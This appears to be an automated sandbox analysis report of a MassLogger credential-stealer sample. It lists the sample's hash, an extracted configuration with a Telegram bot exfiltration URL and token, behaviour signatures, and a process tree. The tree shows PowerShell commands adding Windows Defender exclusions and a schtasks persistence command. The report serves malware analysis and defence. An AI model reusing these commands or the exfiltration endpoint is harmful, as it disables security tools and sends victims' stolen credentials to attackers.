Analysis
- max time kernel
118s - max time network
136s - platform
windows10-2004_x64 - resource
win10v2004-20250410-en - resource tags
- submitted
26/04/2025, 16:25
General
- Target SecuriteInfo.com.Win32.MalwareX-gen.16435.18383.exe
- Size 796KB
- Sample250426-tw2ffawsax
- SHA256 320b021b187d07f6f0b7b54483430e85251f4cbfa9fe32ab63cd8201ed9a0678
Malware Config
Extracted
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masslogger
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https://api.telegram.org/bot7381501080:AAEf6OV30zeoZs2sgUTiSqHwb_Z4gqTPoqU/sendMessage?chat_id=7881071100
-
exfiltration_mode
#TGEnabled
-
expire_time_date
2025-05-08
-
ssl_slate
False
Signatures
- MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Masslogger family
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.MalwareX-gen.16435.18383.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.MalwareX-gen.16435.18383.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.MalwareX-gen.16435.18383.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\LJzOShnfVuK.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LJzOShnfVuK" /XML "C:\Users\Admin\AppData\Local\Temp\tmpF4A1.tmp"2⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_niq4wjlb.v0i.ps1
tmpF4A1.tmp
memory/1952-8-0x0000000005B80000-0x0000000005B9A000-memory.dmp
memory/1952-11-0x0000000004890000-0x00000000048F2000-memory.dmp
memory/1952-5-0x00000000053D0000-0x00000000053DA000-memory.dmp
memory/1952-7-0x0000000006940000-0x00000000069C4000-memory.dmp
memory/1952-4-0x0000000004F20000-0x0000000005274000-memory.dmp
memory/1952-9-0x000000007493E000-0x000000007493F000-memory.dmp
memory/1952-10-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/1952-6-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/1952-12-0x0000000006500000-0x000000000659C000-memory.dmp
memory/1952-3-0x0000000004E50000-0x0000000004EE2000-memory.dmp
memory/1952-2-0x00000000054D0000-0x0000000005A74000-memory.dmp
memory/1952-49-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/1952-0-0x000000007493E000-0x000000007493F000-memory.dmp
memory/1952-1-0x0000000000520000-0x00000000005EE000-memory.dmp
memory/3164-24-0x00000000059A0000-0x0000000005A06000-memory.dmp
memory/3164-19-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/3164-23-0x00000000052A0000-0x00000000052C2000-memory.dmp
memory/3164-21-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/3164-17-0x0000000002870000-0x00000000028A6000-memory.dmp
memory/3164-25-0x0000000005B40000-0x0000000005BA6000-memory.dmp
memory/3164-20-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/3164-90-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/3164-18-0x0000000005300000-0x0000000005928000-memory.dmp
memory/3164-76-0x0000000007AE0000-0x000000000815A000-memory.dmp
memory/3164-50-0x0000000006160000-0x000000000617E000-memory.dmp
memory/3164-51-0x0000000006700000-0x000000000674C000-memory.dmp
memory/3164-84-0x00000000077B0000-0x00000000077B8000-memory.dmp
memory/3164-54-0x0000000070B60000-0x0000000070BAC000-memory.dmp
memory/3164-80-0x0000000007690000-0x00000000076A1000-memory.dmp
memory/3164-79-0x0000000007710000-0x00000000077A6000-memory.dmp
memory/3164-74-0x0000000007370000-0x0000000007413000-memory.dmp
memory/4076-66-0x0000000006770000-0x000000000678E000-memory.dmp
memory/4076-82-0x0000000007740000-0x0000000007754000-memory.dmp
memory/4076-77-0x0000000007500000-0x000000000751A000-memory.dmp
memory/4076-78-0x0000000007570000-0x000000000757A000-memory.dmp
memory/4076-22-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/4076-53-0x0000000070B60000-0x0000000070BAC000-memory.dmp
memory/4076-81-0x0000000007730000-0x000000000773E000-memory.dmp
memory/4076-36-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/4076-83-0x0000000007840000-0x000000000785A000-memory.dmp
memory/4076-52-0x0000000007380000-0x00000000073B2000-memory.dmp
memory/4076-91-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/4076-37-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/4272-47-0x0000000000400000-0x000000000041C000-memory.dmp
memory/4272-75-0x0000000006740000-0x0000000006790000-memory.dmp
memory/4272-92-0x0000000006B60000-0x0000000006D22000-memory.dmp